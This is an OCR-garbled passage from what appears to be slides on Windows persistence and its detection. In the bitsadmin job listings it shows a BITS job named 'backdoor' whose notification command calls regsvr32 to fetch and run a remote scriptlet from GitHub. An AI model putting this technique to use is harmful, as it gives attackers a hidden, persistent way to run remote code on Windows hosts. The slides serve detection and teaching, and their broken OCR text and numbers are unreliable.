| ThinPrint Print ... ThinPrint for VMware® Print... Cortado AG c:\windows'\system32\tpvm... 2014/10,
ﬂ" HKLM\SYSTEM\CumentControl Set\Control\Network Provider\Order 201673/
‘%] vmhgfs VMware =374 VMware, Inc. c:\windows\system32\vmh... 2015/8/"
< >

(Escape to cancel) Scanning... Windows Entries Hidden.

: -
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Detection and Mitigations
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Detection and Mitigations

ll:\Hindows\system32>hitsadmin /list sallusers /verbose

BITSADMIN version 3.8 [ 7.7.9660 1]
ITS administration utility.
(C> Copyright 2000-2086 Microsoft Corp.

BITSAdmin is deprecated and is not guaranteed to be available in future versions
of Windows.

dministrative tools for the BITS service are now provided by BITS PowerShell cm

e bitsadmin /list /allusers /verbose oo

UID: {BEBE#489-62A3-4195-BD1F-DD2EF55E6547> DISPLAY: ’backdoor’
YPE: DOUNLOAD STATE: TRANSFERRED OWNER: a\aa
RIORITY: NORMAL FILES: 1 ~ 1 BYTES: 312832 ~, 312832
REATION TIME: 2016/6,/280 11:31:26 MODIFICATION TIME: 2016,/6/20 11:31:27
OMPLETION TIME: 2016/6,/20 11:31:27 ACL FLAGS:
OTIFY INTERFACE: UNREGISTERED NOTIFICATION FLAGS: 3
hETRY DELAY: 688 NO PROGRESS TIMEOUT: 1289688 ERROR COUNT: @
TROHY USAGE: PRECONFIG PROXY LIST: NULL PROXY BYPASS LIST: NULL
DESCRIPTION:
(JOB FILES:
312832 ~ 312832 WORKING C:\Windows\system32:\cmd.exe —> C:\UsersaaAppDa
taN\Local\Temp\cmd.exe
‘KHTFICQTION COMMAND LINE: ’regsvur3d2.exe’ ’/u /s /i:https://raw.githubuserconten
it .com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll’

e Stop Background Intelligent Transfer Service piner mio inceanicy level: ia

Peercaching flags
Enable download from peers :false
Enable serving to peers :false

USTOM HEADERS: NULL

isted 1 joh<{(s).
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:\Windows\system32>hitsadmin /list /allusers /verbose

ITSADMIN version 3.0 [ 7.7.9600 1]
ITS administration utility.
(C> Copyright 2000-2006 Microsoft Corp.

ITSAdmin is deprecated and is not guaranteed to be available in future versions
of Windows.

dministrative tools for the BITS service are now provided by BITS PowerShell cm
lets.

UID: {BEBEBA489-62A3-4195-BD1F-DD2EF55E6547> DISPLAY: ’bhackdoor’
YPE: DOUNLOAD STATE: TRANSFERRED OUWNER: aMaa
RIORITY: NORMAL FILES: 1 ~ 1 BYTES: 312832 ~/ 312832
REATION TIME: 2016/6,/20 11:31:26 MODIFICATION TIME: 2016/6/20 11:31:27
OMPLETION TIME: 2016,/6,/20 11:31:27 ACL FLAGS:
OTIFY INTERFACE: UNREGISTERED NOTIFICATION FLAGS: 3
ETRY DELAY: 688 NO PROGRESS TIMEOUT: 12096868 ERROR COUNT: @
ROXY USAGE: PRECONFIG PROXY LIST: NULL PROXY BYPASS LIST: NULL
ESCRIPTION:
OB FILES:
312832 ~ 312832 WORKING C:\Windows“\system32\cmd.exe —> C:\UsersNaaAppDa
a\Local\Temp~cmd.exe
OTIFICATION COMMAND LINE: ’regsvr32.exe’ ’/u /s /i:https://rav.githubuserconten
.com/3gstudent/SCTPersistence/master/calc.sct scrobhj.dll’
wner MIC integrity level: HIGH
wner elevated ? true

eercaching flags
Enable download from peers :false
Enable serving to peers :false

USTOM HEADERS: NULL

&> sEwooun | LD 4Egke 20
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Special thanks to

Casey Smith @subTee

‘b 52 WooYun ‘ Q ig@_ﬂkﬁ\'w“



Reference

1. Shell is Only the Beginning quote from Carlos Perez’ s Blog
http://www. darkoperator. com/

2. Matt Graeber’ s idea quote from

https://www. blackhat. com/docs/us—15/materials/us—15—Graeber—Abusing—Windows—Management—Instrumentation—-WMI-To—Bui | d—A-

Persistent%20Asynchronous—And-F i leless—Backdoor. pdf
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